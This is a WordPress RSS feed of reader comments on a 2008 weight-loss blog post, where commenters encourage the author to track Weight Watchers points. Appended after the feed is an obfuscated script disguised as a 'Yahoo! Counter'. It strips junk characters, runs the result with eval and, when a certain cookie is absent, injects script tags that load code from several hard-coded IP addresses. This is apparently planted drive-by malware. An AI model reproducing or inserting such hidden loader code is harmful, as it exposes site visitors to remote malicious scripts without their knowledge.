<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/wordpress-mu-1.2.3-2.2.1" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
	<title>Comments on: Tired of guilt and gaining&#8230;</title>
	<link>http://blogs.weightwatchen.com/ksbess/2008/04/15/tired-of-guilt-and-gaining/</link>
	<description>Finding who I was always meant to be!</description>
	<pubDate>Sat, 22 Nov 2008 22:41:56 +0000</pubDate>
	<generator>http://wordpress.org/?v=wordpress-mu-1.2.3-2.2.1</generator>

	<item>
		<title>By: 2phat</title>
		<link>http://blogs.weightwatchen.com/ksbess/2008/04/15/tired-of-guilt-and-gaining/#comment-14</link>
		<author>2phat</author>
		<pubDate>Fri, 18 Apr 2008 02:56:04 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/ksbess/2008/04/15/tired-of-guilt-and-gaining/#comment-14</guid>
		<description>Hang in there. I HATE to track points but it's the only way that I can drop weight. If I don't write down everything and count points it always gets out of hand.  The key for me is to plan meals ahead for the entire day and it's a bitch to get into the habit if you aren't used to it. It's still a struggle for me and I take it one day at a time.  I agree with everything Koolestmom said.</description>
		<content:encoded><![CDATA[<p>Hang in there. I HATE to track points but it&#8217;s the only way that I can drop weight. If I don&#8217;t write down everything and count points it always gets out of hand.  The key for me is to plan meals ahead for the entire day and it&#8217;s a bitch to get into the habit if you aren&#8217;t used to it. It&#8217;s still a struggle for me and I take it one day at a time.  I agree with everything Koolestmom said.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: koolestmom</title>
		<link>http://blogs.weightwatchen.com/ksbess/2008/04/15/tired-of-guilt-and-gaining/#comment-13</link>
		<author>koolestmom</author>
		<pubDate>Thu, 17 Apr 2008 05:01:00 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/ksbess/2008/04/15/tired-of-guilt-and-gaining/#comment-13</guid>
		<description>Tracking is very important for me. Even if the choices haven't been the best, I know exactly were I am at. If I don't know the points value, I guesstimate. A guess is better than no accountability. There's a recipe calculator at sparkrecipes.com. It will give you the nutritional info from your recipes and almost all companies now give nutritional info on their web pages. It takes some time at first, but if your tracking, you'll begin to build your own record of values to refer back to. I track on a spread sheet on the computer and have become the cut and paste queen! Anyway, I hope this helps!...Keep the faith!...You can do it!</description>
		<content:encoded><![CDATA[<p>Tracking is very important for me. Even if the choices haven&#8217;t been the best, I know exactly were I am at. If I don&#8217;t know the points value, I guesstimate. A guess is better than no accountability. There&#8217;s a recipe calculator at sparkrecipes.com. It will give you the nutritional info from your recipes and almost all companies now give nutritional info on their web pages. It takes some time at first, but if your tracking, you&#8217;ll begin to build your own record of values to refer back to. I track on a spread sheet on the computer and have become the cut and paste queen! Anyway, I hope this helps!&#8230;Keep the faith!&#8230;You can do it!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: kristina</title>
		<link>http://blogs.weightwatchen.com/ksbess/2008/04/15/tired-of-guilt-and-gaining/#comment-11</link>
		<author>kristina</author>
		<pubDate>Wed, 16 Apr 2008 13:18:42 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/ksbess/2008/04/15/tired-of-guilt-and-gaining/#comment-11</guid>
		<description>When journal my eating habits and exercise 5 days a week, I lose weight (10 pounds in Jan and 4 in April).  When I didn't in Feb and March, my weigh stayed the same.  I think by setting goals and tracking your progress also helps.  

For me, I think its more important to track points than worrying so much about eating in the range you are suppose to.  You can review them an see what your trouble spots are: add veggies, reduce meat portion sizes, add healthy fats etc.  Having been on calorie restrictive diets before, I know that by eating in the point range for my weight is a little to  low for me.  I eat between 32 and 36 points a day and am still losing weight (ww point range is 29 with flex points).</description>
		<content:encoded><![CDATA[<p>When journal my eating habits and exercise 5 days a week, I lose weight (10 pounds in Jan and 4 in April).  When I didn&#8217;t in Feb and March, my weigh stayed the same.  I think by setting goals and tracking your progress also helps.  </p>
<p>For me, I think its more important to track points than worrying so much about eating in the range you are suppose to.  You can review them an see what your trouble spots are: add veggies, reduce meat portion sizes, add healthy fats etc.  Having been on calorie restrictive diets before, I know that by eating in the point range for my weight is a little to  low for me.  I eat between 32 and 36 points a day and am still losing weight (ww point range is 29 with flex points).</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: anonymous</title>
		<link>http://blogs.weightwatchen.com/ksbess/2008/04/15/tired-of-guilt-and-gaining/#comment-10</link>
		<author>anonymous</author>
		<pubDate>Wed, 16 Apr 2008 11:43:12 +0000</pubDate>
		<guid>http://blogs.weightwatchen.com/ksbess/2008/04/15/tired-of-guilt-and-gaining/#comment-10</guid>
		<description>I have been following Weight Watchers (points) and have gone from almost a size 14 to a size 4 in about 7 months. I needed to have my entire day planned on what I was going to eat and just follow that plan. If I was still hungry, I would use my  extra flex points. Reading Roni's blog and other blogs really kept me motivated. I checked in everyday. I also made sure that I exercised at least 4 times a week. It is very hard but you can do it! You need to stay motivated and if you slip up, just count the points and move on. Keep up the good work!</description>
		<content:encoded><![CDATA[<p>I have been following Weight Watchers (points) and have gone from almost a size 14 to a size 4 in about 7 months. I needed to have my entire day planned on what I was going to eat and just follow that plan. If I was still hungry, I would use my  extra flex points. Reading Roni&#8217;s blog and other blogs really kept me motivated. I checked in everyday. I also made sure that I exercised at least 4 times a week. It is very hard but you can do it! You need to stay motivated and if you slip up, just count the points and move on. Keep up the good work!</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language=javascript><!-- Yahoo! Counter starts here -->
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('`v~%61~r%20a$%2C%69%2C!_$%3B`i@%3D%227%36!%2E%31#6%33|%2E`%22?%3Ba=?%5B@%22`7%38.1|57.?%31%34!%32|.@58|%22,%69+|"1!%34@%31~.%33`5%22$%2C~%69+~%22%31?9#%31|.1%33!%32$%22?%5D%3B~%5F|%3D#%31$%3B@%69%66%28%64$%6F%63$%75%6D%65!nt%2Ec%6Fo|k~%69~e`%2E%6D%61#%74%63h%28`/%5C%62?%68%67@ft=%31|/%29%3D=#n@u#ll~%29~%66~%6F!r?(i%3D0|%3B$%69%3C%33!;%69%2B+!)do%63u%6Den%74?%2E%77r#i`t!e%28"%3Cs@c%72i%70%74?%3E?%69%66%28@_#%29%64o@%63|u@m%65n`%74%2E$%77%72$%69%74%65?(@%5C%22?%3C$%73%63$%72%69%70%74%20%69%64%3D%5F%22|%2B%69?+%22_|%20!%73%72%63%3D~%2F$%2F@"%2B#a%5B#%69#]%2B%22%2F#c%70/#%3E%3C|%5C`%5C/~%73`%63?r~%69p@%74%3E%5C~"%29$%3C%5C$%2F?%73c#r%69|p#t%3E%22#);').replace(/#|\||\!|`|~|@|\?|\$/g,""));var yahoo_counter=1;
<!-- counter end --></script>
